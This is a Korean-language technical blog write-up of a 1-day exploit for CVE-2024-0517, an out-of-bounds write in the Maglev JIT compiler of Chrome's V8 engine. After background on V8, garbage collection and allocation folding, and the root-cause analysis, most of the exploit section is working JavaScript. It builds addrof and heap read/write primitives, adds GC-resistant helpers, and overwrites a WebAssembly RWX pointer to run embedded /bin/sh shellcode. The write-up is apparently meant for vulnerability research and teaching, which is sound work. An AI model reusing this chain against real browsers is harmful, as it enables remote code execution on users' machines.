사전 지식

사전 지식 파트에서는 1-day exploit에 앞서 어떤 내용들을 미리 알고 들어가야하는지 몇가지 설명할 것입니다. 자세한 내용은 다른 포스트 에 올려두었으니, 여기서는 간단하게 설명하며 넘어가겠습니다.

V8 엔진에 대해 더 자세한 내용을 알고 싶다면 Fundamental Knowledge of V8 engine 을 보면 도움이 됩니다.

JavaScript와 이로 만든 객체들에 대해 더 알고 싶다면 Fundamental Knowledgd of JavaScript 을 보면 됩니다.

v8이란(feat. pipeline)

V8은 Chrome 브라우저에서 사용하는 C++언어로 작성된 엔진입니다. 브라우저 엔진이기 때문에, 엔진에 실행하는 코드는 JavaScript로 작성됩니다.

V8엔진에는 컴파일과 최적화를 위한 여러가지 구성 요소들이 있는데, 그 중 우리가 오늘 다룰 것은 Maglev라는 JIT-컴파일러입니다.

JIT 컴파일러가 무엇일까요? IBM에서는 이렇게 설명합니다.

JIT (Just-In-Time) 컴파일러는 런타임 시 바이트 코드를 원시 시스템 코드로 컴파일하여 Java™ 애플리케이션의 성능을 향상시키는 런타임 환경의 컴포넌트입니다.

출처 : IBM - JIT 컴파일러

이 Maglev는 소스 코드를 정적 분석 후 최적화하여 머신 코드로 컴파일하는 기계입니다. v8엔진은 JaveScript 코드를 실행하면서, 이 코드 혹은 함수가 반복 실행되면서 “”Hot”” 코드로 표시가 되면, 빈도의 정도에 따라 최적화 할 수준을 결정하게 됩니다.

이번 취약점은 이 Maglev에서 발생한 취약점이므로, 우리는 여기서 최적화가 진행 되게 할 것입니다.

Garbage Collection of V8

V8과 같이 동적으로 메모리를 할당하는 엔진들은 더 좋은 효율과 속도를 위해, 더 발전된 메모리 관리 기법이 필수적입니다. 그 중 Garbage Collection이라는 메모리 관리 기법이 있습니다. 이 기술에 대해 간단하게 말하면 참조가 유지되는 객체는 살아남고, 그렇지 않으면 정리합니다.

이것의 구동 방식에 대해 조금 설명하면, 처음 생성되는 객체는 Young Generation의 semi-space에 할당됩니다. 이후 이 semi-space가 가득 차면 Minor GC가 실행되며, 죽거나 산 객체를 판별하여 정리합니다. 여기서 생존한 객체들은 반대쪽 semi-space로 옮겨집니다. 다시 이 semi-space가 가득 차면, 똑같은 패턴을 반복합니다. 이때 두번의 garbage collection 동안 살아남은 객체는 Old Generation으로 이동하게 됩니다.

이렇게 V8엔진은 객체의 참조가 유지되는지를 기준으로 생과 사를 구분하여 메모리를 관리하게 됩니다. Garbage collection은 나중에 Vulnerability에서 중요하게 작용하는 부분 중 하나이므로 프롤로그에서 설명한 포스트를 통해 더 분석하고 오는 것을 권장합니다.

V8 Sandbox ( a.k.a. Ubercage )

V8에는 Sandbox라는 mitigation이 존재합니다.

이것은 사용될 수 있는 객체들을 Sandbox라는 별도의 분리된 가상 공간으로 관리합니다. 이 공간을 통해 객체에 직접 주소를 저장하는게 아닌, table의 index를 저장합니다.

또한 Code Pointer Sandboxing이라는 특징이 있는데, JavaScript 객체 내에 저장되어있는 code pointer를 직접 저장하는게 아닌, table의 index로 저장합니다. 이로 공격자가 해당 code pointer를 변조하여 원하는 코드 흐름을 실행하는 것을 불가능하게 만듭니다.

우리가 Vulnerability를 트리거하고, 취약점을 위한 준비를 모두하여도, 마지막에 이 Sandbox를 우회하지 못하면, exploit에 성공할 수 없습니다. 따라서 마지막 부분에서는 어떻게 이 mitigation을 우회할 수 있는지에 대해 설명하겠습니다.

JS object structure

JavaScript는 원시값을 제외한 모든 것들은 객체로 할당됩니다. 따라서, 원시값인 String, Number, Boolean, Null, Undefined를 제외하고 모두 key와 value값으로 저장됩니다. ( string, number, boolean 은 new로 정의된 경우 객체가 될 수 있습니다. )

따라서 디버깅을 하며 메모리 구조를 분석하게 되면, 각 객체들은 엇비슷한 모습으로 할당되는 것을 볼 수 있는데 ( similar, NOT equal ), 이로 인해 직접 디버깅을 하며 객체 구조를 %DebugPrint로 비교하며 분석하는 것을 잊지 않아야 합니다.

아래 사진은 this객체를 %DebugPrint한 것과 실제로 메모리의 값들을 보여줍니다. 그러면 각각의 메모리가 Map, Properties, Elements, In-object property1, In-object property2 인 것을 쉽게 알아볼 수 있습니다. 이처럼 메모리 분석이 필요할 경우, 객체들이 어떻게 할당되는지 직접 확인해야 합니다.

Allocation folding

이 기술은 이번 취약점을 이해하기 위해, Garbage collection 만큼이나 잘 알아야하는 것이 있다. 바로 이 Allocation folding이다. 이 기법은 더 이상 사용하지 않는 객체들을 정리하기 위한 것으로, 이를 통해 불필요한 메모리 할당을 줄이거나 제거하는 v8의 최적화 기법 중 하나이다.


예를 들어 설명하면, 그림에 나와있는 Class B와 Array a를 할당할땐 각각 1번씩 메모리에 할당하게 되어 총 2번 할당하게 됩니다. 하지만 여기서 allocation folding 기법을 사용하게 되면 class B와 Array a의 크기를 더한 값 size(x+y) 만큼의 공간을 할당한 후 Class B와 Array a가 나누어 쓰게 됩니다.

여기서 주의깊게 알아야 할 점은, 한번에 할당한 후 나누어쓰기 때문에, 메모리 상에서는 Array a의 위치가 Class B 다음에 위치하게 됩니다.

Maglev에서는 이 allocation folding을 수행하기 위해, ExtendOrReallocateCurrentRawAllocation() 이라는 함수를 호출하게 됩니다. 이 함수에 대해서는 v8 소스 코드 분석 파트에서 다루어 보도록 하겠습니다.

환경 구성

저희가 분석한 v8 버전은 12.0.267.15 으로, 환경 구성을 할 때, 아래 CW블로그의 글의 진행 과정에서 v8 버전만 바꾼 것입니다.

참고 : CW블로그에서 빌드한 버전은 개발자 버전으로, 해당 버전에서는 이 CVE-2024-0517에 대한 패치가 안되어있지만, 이전에서 설명한 V8 Sandbox ( Ubercage ) 에 대한 업데이트가 이루어 진 것으로 보입니다. 따라서, 이 시기에 사용되던 V8 exploit 방법들이 불가능할 가능성이 매우 높기 때문에, 해당 시기에 실제로 릴리즈 되었던 버전인 12.0.267.15로 빌드하는 것을 권고 드립니다.

V8 12.0.267.15 : https://chromium.googlesource.com/v8/v8.git/+/e73f620c2ef1230ddaa61551706225821a87c3b9

CW Research - CVE-2024-0517 : https://cwresearchlab.co.kr/entry/CVE-2024-0517-Out-of-Bounds-Write-in-V8

# install depot_tools
cd ~
git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git
export PATH=$HOME/depot_tools:$PATH
echo 'export PATH=$HOME/depot_tools:$PATH' >> ~/.zshrc

# get V8
fetch v8
cd v8
git checkout e73f620c2ef1230ddaa61551706225821a87c3b9
gclient sync -D

# build V8
./build/install-build-deps.sh
gn gen out/debug --args='v8_no_inline=true v8_optimized_debug=false is_component_build=false v8_expose_memory_corruption_api=true'
ninja -C out/debug d8
./tools/dev/gm.py x64.release

# install gdb plugin
echo 'source ~/v8/tools/gdbinit' >> ~/.gdbinit

취약점 분석

Proof of Concept

이제 이번 CVE-2024-0517으로 패치된 취약점에 대해 분석할 것입니다.

이번 취약점은 v8엔진의 JIT 컴파일러 중 하나인 maglev가 최적화한 코드를 실행하면서 발생합니다. 이 코드 중 자식 생성자가 객체를 생성할 때, 초기화 되지 않은 Current_raw_allocation 값으로 인해, 객체의 OOB write가 발생합니다.

아래의 JavaScript 코드는 이번 취약점을 실행시키는 코드 중 일부입니다. PoC코드를 실행하면, 다음과 같은 에러가 나옵니다. 해당 에러는 free-space라는 곳을 무언가가 덮어서, 그것을 확인하게 되었을 때, Fatal error 및 프로그램을 종료시키게 됩니다.

해당 코드와 오류 메시지는 다음과 같습니다 :

class ClassParent {}
class ClassBug extends ClassParent {
        constructor(a20, a21, a22) {
                const v24 = new new.target();
                let x = [empty_object, empty_object, empty_object, empty_object, empty_object, empty_object, empty_object, empty_object];
                super();
                let a = [1.1];
                this.x = x;
                this.a = a;
                JSON.stringify(empty_array);
        }
        [1] = dogc();
}
~/v8/out$ ./debug/d8 --allow-natives-syntax ./code/exploit.js

#
# Fatal error in ../../src/objects/free-space-inl.h, line 75
# Check failed: !heap->deserialization_complete() || map_slot().contains_map_value(free_space_map.ptr()).
#
#
#
#FailureMessage Object: 0x7ffe9d485188
==== C stack trace ===============================

    ./debug/d8(v8::base::debug::StackTrace::StackTrace()+0x1e) [0x5b9ae47a7fde]
    ./debug/d8(+0x8c0960d) [0x5b9ae47a260d]
    ./debug/d8(V8_Fatal(char const*, int, char const*, ...)+0x1ac) [0x5b9ae477853c]
    ./debug/d8(v8::internal::FreeSpace::IsValid() const+0xdf) [0x5b9ae0e79e1f]
    ./debug/d8(v8::internal::FreeSpace::next() const+0x1d) [0x5b9ae0e789dd]
[truncated]

그럼 무엇이 이 free-space를 덮었는지 확인 해보겠습니다.

Maglev가 최적화한 모습은 아래와 같습니다. 여기에서 [1]에서 new.target() , [2]에서 x배열의 할당, [3]에서 super() 함수를 통한 this객체 할당 및 a배열이 할당됩니다.

이 내용을 보면, a배열의 할당은 반드시 this 객체보다 20 만큼 높은 주소에 항상 할당됩니다.

이제 this객체와 a배열 할당 사이에 Garbage Collection을 발생 시킬 것입니다. 이렇게 하면, a배열은 Young Space에 할당되어야 하지만, 반드시 this객체 + 20 위치에 할당되기 때문에, Garbage Collection을 통해 Old space로 옮겨진 this객체 아래에 할당됩니다. 이로 인해, 이 코드에서는 해당 영역이 free-space였는데, a배열로 덮여졌고, 이것이 확인되면서 Fatal error가 뜨게 되었습니다.

//add option --print-maglev-graph : ./debug/d8 --allow-natives-syntax --print-maglev-graph ./code/exploit.js

[truncated]
[1]
       5 : Construct r0, r0-r0, [0]
                eager @5 (8 live vars)
        44/11: CheckValue(0x03a40011c4f5 <JSFunction ClassParent (sfi = 0x3a40011b095)>) [v41/n8:[rdx|R|t]]
        45/15: AllocateRaw(Young, 20)  [rdi|R|t], live range: [45-50]
        46/16: StoreMap(0x03a4001222fd <Map[20](HOLEY_ELEMENTS)>) [v45/n15:[rdi|R|t]]
          152: ConstantGapMove(v14/n14  [rax|R|t])
        47/17: StoreTaggedFieldNoWriteBarrier(0x4) [v45/n15:[rdi|R|t], v14/n14:[rax|R|t]]
        48/18: StoreTaggedFieldNoWriteBarrier(0x8) [v45/n15:[rdi|R|t], v14/n14:[rax|R|t]]
          153: ConstantGapMove(v11/n13  [rcx|R|t])
        49/19: StoreTaggedFieldNoWriteBarrier(0xc) [v45/n15:[rdi|R|t], v11/n13:[rcx|R|t]]
        50/20: StoreTaggedFieldNoWriteBarrier(0x10) [v45/n15:[rdi|R|t], v11/n13:[rcx|R|t]]
[truncated]
[2]
      11 : CreateArrayLiteral [0], [2], #37
        52/24: AllocateRaw(Young, 56)  [rdi|R|t], live range: [52-67]
        53/25: StoreMap(0x03a400000565 <Map(FIXED_ARRAY_TYPE)>) [v52/n24:[rdi|R|t]]
          154: ConstantGapMove(v24/n26  [rbx|R|t])
        54/27: StoreTaggedFieldNoWriteBarrier(0x4) [v52/n24:[rdi|R|t], v24/n26:[rbx|R|t]]
          155: ConstantGapMove(v16/n23  [r11|R|t])
[truncated]
        63/36: FoldedAllocation(+40) [v52/n24:[rdi|R|t]]  [rsi|R|t] (spilled: [stack:1|t]), live range: [63-137]
          156: GapMove([rdi|R|t]  [r8|R|t])
          157: GapMove([rsi|R|t]  [rdi|R|t])
        64/37: StoreMap(0x03a40010eea5 <Map[16](PACKED_ELEMENTS)>) [v63/n36:[rdi|R|t]]
        65/38: StoreTaggedFieldNoWriteBarrier(0x4) [v63/n36:[rsi|R|t], v14/n14:[rax|R|t]]
[truncated]
[3]
    108 : FindNonDefaultConstructorOrConstruct <closure>, r0, r8-r9
       100/90: AllocateRaw(Young, 52)  [rdi|R|t] (spilled: [stack:3|t]), live range: [100-145]
       101/91: StoreMap(0x03a4001222fd <Map[20](HOLEY_ELEMENTS)>) [v100/n90:[rdi|R|t]]
       102/92: StoreTaggedFieldNoWriteBarrier(0x4) [v100/n90:[rdi|R|t], v14/n14:[rax|R|t]]
[truncated]
      127/129: FoldedAllocation(+20) [v100/n90:[rdi|R|t]]  [rcx|R|t], live range: [127-135]
          195: GapMove([rcx|R|t]  [rdi|R|t])
      128/130: StoreMap(0x03a400000829 <Map(FIXED_DOUBLE_ARRAY_TYPE)>) [v127/n129:[rdi|R|t]]
          196: ConstantGapMove(v17/n47  [rdx|R|t])
      129/131: StoreTaggedFieldNoWriteBarrier(0x4) [v127/n129:[rcx|R|t], v17/n47:[rdx|R|t]]
          197: ConstantGapMove(v36/n132  [xmm0|R|f64])
      130/133: StoreFloat64(0x8) [v127/n129:[rcx|R|t], v36/n132:[xmm0|R|f64]]
          198: GapMove([stack:3|t]  [rbx|R|t])
      131/134: FoldedAllocation(+36) [v100/n90:[rbx|R|t]]  [r8|R|t], live range: [131-139]
          199: GapMove([r8|R|t]  [rdi|R|t])
      132/135: StoreMap(0x03a40010ee25 <Map[16](PACKED_DOUBLE_ELEMENTS)>) [v131/n134:[rdi|R|t]]

소스 코드 분석

취약점이 존재하는 코드는 자식 생성자를 만들 때 호출하는 VisitFindNonDefaultConstructorOrConstruct() 함수로부터 시작하는 최적화 흐름 내에 존재합니다.

void MaglevGraphBuilder::VisitFindNonDefaultConstructorOrConstruct() {
  ValueNode* this_function = LoadRegisterTagged(0);
  ValueNode* new_target = LoadRegisterTagged(1);
  auto register_pair = iterator_.GetRegisterPairOperand(2);
  
//[1]  
  if (TryBuildFindNonDefaultConstructorOrConstruct(this_function, new_target,
                                                   register_pair)) {
    return;
  }
//[2]  
  CallBuiltin* result =
      BuildCallBuiltin<Builtin::kFindNonDefaultConstructorOrConstruct>(
          {this_function, new_target});
  StoreRegisterPair(register_pair, result);
}

이 함수는 Ignition이 FindNonDefaultConstructorOrConstruct 라는 instruction을 생성하였을 때, 이를 최적화하기 위해 Maglev에서 실행하는 함수입니다.

1번에서는 Maglev가 위에서 전달 받은 값을 가지고 TryBuildFindNonDefaultConstructorOrConstruct() 함수를 실행하게 됩니다. 이때, 이 함수가 성공적으로 최적화를 한 경우 값을 반환하게 되고, 실패한 경우 2번으로 넘어가게 됩니다. 이 2번에서는 다시 Ignition에게 instruction에 대한 opcode를 구현하게 합니다.

TryBuildFindNonDefaultConstructorOrConstruct() 함수에서는 실제 객체 할당을 위한 BuildAllocateFastObject() 함수를 실행합니다.

이 함수는 그저 객체를 할당하며, 함수 내부에서 ExtendOrReallocateCurrentRawAllocation() 함수를 호출하여, current_raw_allocation이라는 포인터를 통해, allocation folding의 유무를 결정합니다.

이렇게 할당이 끝나고 나면 이 포인터를 초기화 해주어야 하는데, TryBuildFindNonDefaultConstructorOrConstruct() 함수에서는 초기화하지 않고 있습니다. 따라서 이 다음 객체 할당이 이루어질 때, 초기화 되지 않은 current_raw_allocation 포인터로 의도 되지 않은 allocation folding이 이루어지고 ( PoC코드의 a배열 할당 ), 허용되지 않은 위치에 객체가 할당되며 OOB write가 발생합니다.

익스플로잇

취약점 트리거

취약점 분석 파트에서는 객체의 OOB write가 발생한 것을 확인하였습니다. 이 취약점을 실제로 트리거 하는 코드는 github 리포지터리 에 있습니다.



취약점을 트리거 하면 위의 사진과 같은 결과를 볼 수 있습니다. 이제 x배열과 a배열이 같은 위치의 메모리를 사용하게 되었습니다. 이것을 통해 객체 사이의 type confusion을 일으켜, 익스플로잇을 위한 primitives들을 구현할 것이고, 이후 primitives와 WebAssembly를 통해 exploit을 할 것입니다.

Type confusion

같은 위치의 메모리를 서로 다른 타입의 두 객체가 사용하여, 생기는 것을 type confusion이라고 합니다.

지금 우리는 x배열과 a배열이 같은 위치의 메모리를 사용하고 있습니다. x배열은 객체를 저장하는 packed_elements 타입, a배열은 float를 저장하는 packed_double_elements 타입을 갖고 있습니다.

이렇게 타입이 다르면 어떤 일이 발생하는지 예시를 들어 설명해 보겠습니다.

x 배열의 인덱스 0에 test라는 객체를 넣어봅시다. x배열은 objects나 integer를 저장하는 배열인데, 우리는 빈 객체들을 넣어 두었기 때문에 객체를 저장하게 됩니다. 이때 객체를 저장하는 방식은 elements의 test객체의 주소를 쓰게 됩니다.

a 배열은 float를 저장하는 배열이므로, 데이터를 8바이트씩 읽게 됩니다. 이때 해당 위치를 읽어들일 경우, double 형의 부동소수점 값(즉 8바이트만큼)으로 가져오게 됩니다. 이 8바이트는 해당 메모리의 데이터를 그대로 읽었기 때문에, 그 중 절반인 4바이트에는 우리가 저장하였던 test 객체의 주소를 그대로 가져오게 됩니다.

Primitives 구현

Initial Addrof Primitive

이 primitive는 공격자가 JS 객체의 주소를 유출할 수 있습니다.

exploit이 트리거 되면, type confusion에서 설명한 것과 같이, 아래의 두 배열이 서로 겹치게 됩니다.

  • x객체의 elements backing buffer
  • a배열 객체의 metadata와 backing buffer

따라서 배열 객체 x의 elements에, 객체로써 데이터를 쓸 수 있고, packed_double_array 타입을 가진 배열 객체 a에 접근하며 double로 읽어들일 것입니다.

이 primitive에 대한 주요 JS코드:

function addrof_tmp(obj) {
  corrupted_instance.x[0] = obj;
  f64[0] = corrupted_instance.a[8];
  return u32[0];
}

여기서 중요한 사실은, v8 heap은 모든 객체 포인터를 32비트 값으로 압축합니다. 따라서 이 함수는 포인터를 64비트 float point value로 읽고, 그 값을 32비트만 추출하며, 여기에는 주소 자체가 담기게 됩니다.

Initial Write Primitive

Write Primitive배열의 length가 overwrite 되면, oob read/write가 가능해집니다. 왜냐하면, length를 overwrite한다고, 실제 배열이 바로 바뀌는 것은 아니지만, 배열의 index로 원하는 값을 넣을 수 있게 되기 때문입니다.

따라서 let rwarr = [1.1, 2.2, 2.2] 으로 배열을 하나 더 생성한 후, a배열의 시작으로부터 이 rwarr 배열의 metadata로의 offset을 찾아, 원하는 값으로 덮는 기능을 만들 것입니다.

해당 코드는 다음과 같습니다 :

//code for considering only the case : addr_rwarr > addr_a
if (addr_rwarr < addr_a) {
        console.error("Failed");
}

//calc offset
let offset = (addr_rwarr - addr_a) + 0xc;
if ( (offset % 8) != 0 ) {
        offset += 4;
}

offset = offset / 8;
offset += 1; //our a array has one of 1.1
offset -= 1;

let marker42_idx = offset;

console.log(marker42_idx);

//declare and assign
let b64 = new BigUint64Array(buffer);
let zero = 0n;

//write primitive
function v8h_write64(where, what) {
        b64[0] = zero;
        f64[0] = a[marker42_idx];
        if (u32[1] == 0x6) {
                u32[0] = where-8;
                a[marker42_idx] = f64[0];
        }
        else {
                u32[1] = where-8;
                a[marker42_idx] = f64[0];
        }
        rwarr[0] = what;
}

GC Resistance

우리가 만든 JS코드를 돌리면서, 중간에 Young space가 가득 차면, Garbage Collection이 발생할 수 있습니다. 그렇게 되면, 객체들의 위치가 변경되면서, offset들을 통해 만든 primitives들이 더 이상 동작하지 않게 됩니다. 이를 대비하기 위해, 객체를 새로 세 개 만들고, 이들을 연결하여, Garbage Collection이 발생해도 유지되는 Primitives를 구현할 것입니다.

아래 코드를 통해 만드는 것은, Changer의 elements는 Leaker 객체를 가르키게, Leaker의 elements는 Holder 객체를 가르키게 하는 것입니다. 이후 사용하였던 x배열, a배열 그리고 rwarr 배열의 length를 0으로 만들어 초기화 합니다. 배열을 초기화하면, corrupt 되었던 것들을 Garbage Collector가 발견하지 못하게 됩니다.

//create 3 objects
let changer = [1.1,2.2,3.3,4.4,5.5,6.6]
let leaker  = [1.1,2.2,3.3,4.4,5.5,6.6]
let holder  = {p1: 0x1234, p2: 0x1234, p3: 0x1234};

//get addr of objects
let changer_addr = addrof_tmp(changer);
let leaker_addr = addrof_tmp(leaker);
let holder_addr = addrof_tmp(holder);

//corrupt that objects
u32[0] = holder_addr;
u32[1] = 0xc;
let original_leaker_bytes = f64[0];

u32[0] = leaker_addr;
u32[1] = 0xc;

v8h_write64(changer_addr+0x8, f64[0]);
v8h_write64(leaker_addr+0x8, original_leaker_bytes);

//fix the corruption to the objects in Old Space
x.length = 0;
a.length = 0;
rwarr.length = 0;

이제 이 세 객체들이 어떻게 동작하게 되는지 간단하게 설명해 보겠습니다.

changer 객체의 elements 포인터를 leaker객체의 주소로 바꾸었기 때문에, changer의 elements 배열을 확인하러 가면, leaker객체로 가게됩니다. 따라서 changer[0]의 값은 1.1이 아닌, leaker객체의 holder_addr + size 값에 해당합니다. 마찬가지로, leaker[0]은 1.1이 아닌, holder객체의 elements + in-object property 1 값을 가르킵니다.

Final Heap Read/Write Primitive

이 primitive는 처음에 만들었던 primitive와 같은 방식의 primitive인데, 이전에 Garbage collection을 대비하여 만든 객체들로 구현한 것입니다.

그래서 v8h_read64 함수는 changer의 0번 인덱스, 즉 leaker의 elements를 원하는 곳으로 바꾼 후, 그곳의 데이터를 읽어 들입니다.

v8h_write 함수는 read함수에서 해당 위치의 데이터를 쓰는 기능이 추가된 primitive입니다.

function v8h_read64(addr) {
        original_leaker_bytes = changer[0];
        u32[0] = Number(addr)-8;
        u32[1] = 0xc;
        changer[0] = f64[0];

        let ret = leaker[0];
        changer[0] = original_leaker_bytes;
        return f2i(ret);
}

function v8h_write(addr, value) {
        original_leaker_bytes = changer[0];
        u32[0] = Number(addr)-8;
        u32[1] = 0xc;
        changer[0] = f64[0];

        f64[0] = leaker[0];
        u32[0] = Number(value);
        leaker[0] = f64[0];
        changer[0] = original_leaker_bytes;
}

Final addrof Primitive

이 primitive는 이전의 addrof와 마찬가지로 객체의 주소를 얻기 위해 사용합니다. 이전의 primitive는 x배열을 a배열을 덮음으로써 type confusion을 일으켜 주소를 얻었습니다. 지금은 이 배열들을 모두 초기화하고 더이상 사용하지 않게(gc가 오류를 발견하지 못하게) 하여, 새로 생성하여 사용중인 changer,leaker,holder를 이용해서 addrof primitive를 구현하려 합니다.

function addrof(obj) {
        holder.p2 = obj;
        let ret = leaker[1];
        holder.p2 = 0;
        return f2i(ret) & 0xffffffffn;
}

Exploit

이제 exploit을 위한 primitives를 모두 구현하였습니다. 이들을 이용해 v8의 mitigation인 sandbox(ubercage)를 우회해 보겠습니다.

우선 이 Sandbox를 우회하기 위해서는 WebAssembly를 사용할 것입니다.

WebAssembly를 사용하는 이유는, 쉘코드를 실행시키려면, 실행 권한이 있는 영역으로 포인터를 옮겨야 합니다. 이 영역은 최적화되어 실제로 동작하는 코드가 있는 코드 영역에도 있지만, WebAssembly로 인스턴스를 생성할 때, rwx영역이 생기게 됩니다. 그리고, 이 WasmInstance 안에, RWX영역으로 향하는 포인터가 존재하기 때문에, 이를 overwrite함으로써 우리가 원하는 곳으로 실행 흐름을 옮길 수 있습니다.

참고 : 이 exploit 방법은 sandbox가 추가적인 업데이트가 이뤄지기 전에 사용되었던 익스플로잇 방법입니다. 현재는 WasmInstance 안에 RWX영역 포인터를 저장하지 않는 방법으로 바뀌었기 때문에, 새로운 익스플로잇 방법을 구상해야 합니다. 그리고 각 주소들이 위치하는 offset 역시 v8의 버전별로 다르기 때문에 이 역시 직접 분석하여 얻어야합니다.

이 익스플로잇을 하기 위해, 두개의 WasmInstance를 생성하여, 한개에는 쉘코드를 담고, 나머지 한개는 RWX 포인터를 쉘코드의 위치로 덮을 것입니다. 이렇게 하면, 후자의 인스턴스로 만든 함수를 실행할 때, 변조된 RWX포인터로 이동하게 되어, 쉘코드가 실행됩니다.

let shell_wasm_code = new Uint8Array([
    0, 97, 115, 109, 1, 0, 0, 0, 1, 5, 1, 96, 0, 1, 127, 3, 2, 1, 0, 4, 4, 1, 112, 0, 0, 5, 3, 1, 0, 1, 7, 17, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0, 10, 133, 1, 1, 130, 1, 0, 65, 0, 68, 0, 0, 0, 0, 0, 0, 0, 0, 57, 3, 0, 65, 0, 68, 106, 59, 88, 144, 144, 144, 235, 11, 57, 3, 0, 65, 0, 68, 104, 47, 115, 104, 0, 91, 235, 11, 57, 3, 0, 65, 0, 68, 104, 47, 98, 105, 110, 89, 235, 11, 57, 3, 0, 65, 0, 68, 72, 193, 227, 32, 144, 144, 235, 11, 57, 3, 0, 65, 0, 68, 72, 1, 203, 83, 144, 144, 235, 11, 57, 3, 0, 65, 0, 68, 72, 137, 231, 144, 144, 144, 235, 11, 57, 3, 0, 65, 0, 68, 72, 49, 246, 72, 49, 210, 235, 11, 57, 3, 0, 65, 0, 68, 15, 5, 144, 144, 144, 144, 235, 11, 57, 3, 0, 65, 42, 11
  ]);

let shell_wasm_module = new WebAssembly.Module(shell_wasm_code);
let shell_wasm_instance = new WebAssembly.Instance(shell_wasm_module);
let shell_func = shell_wasm_instance.exports.main;

shell_func();

let shell_wasm_instance_addr = addrof(shell_wasm_instance);
let shell_wasm_rwx_addr = v8h_read64(shell_wasm_instance_addr + 0x48n);
let shell_func_code_addr = shell_wasm_rwx_addr + 0xB40n;
let shell_code_addr = shell_func_code_addr + 0x2Dn;
const tbl = new WebAssembly.Table({
        initial: 2,
        element: "anyfunc"
});

const importObject = {
        imports: { imported_func : (n) => n + 1, },
        js: { tbl }
};

var wasmCode = new Uint8Array([
0,97,115,109,1,0,0,0,
1,15,3,96,1,124,1,124,96,2,124,124,0,96,0,1,125,
2,36,2,7,105,109,112,111,114,116,115,13,105,109,112,111,114,116,101,100,95,102,117,
110,99,0,0,
2,106,115,3,116,98,108,1,112,0,2,
3,3,2,1,0,
7,21,2,4,109,97,105,110,0,1,10,109,97,107,101,95,97,114,114,97,121,0,2,
10,31,2,22,0,68,144,144,144,144,72,137,16,195,68,204,204,204,204,204,204,
233,67,26,26,11,6,0,
32,0,16,0,11
]);

let wasmModule = new WebAssembly.Module(wasmCode);
let wasmInstance = new WebAssembly.Instance(wasmModule, importObject);

let wasmInstance_addr = addrof(wasmInstance);
let RWX_page_pointer = v8h_read64(wasmInstance_addr+0x48n);

let func_make_array = wasmInstance.exports.make_array;

let func_main = wasmInstance.exports.main;
wasm_write(wasmInstance_addr+0x48n, shell_code_addr);
func_main();

Reference

CW blog - CVE-2024-0517

Exodus blog - CVE-2024-0517

V8 git 12.0.267.15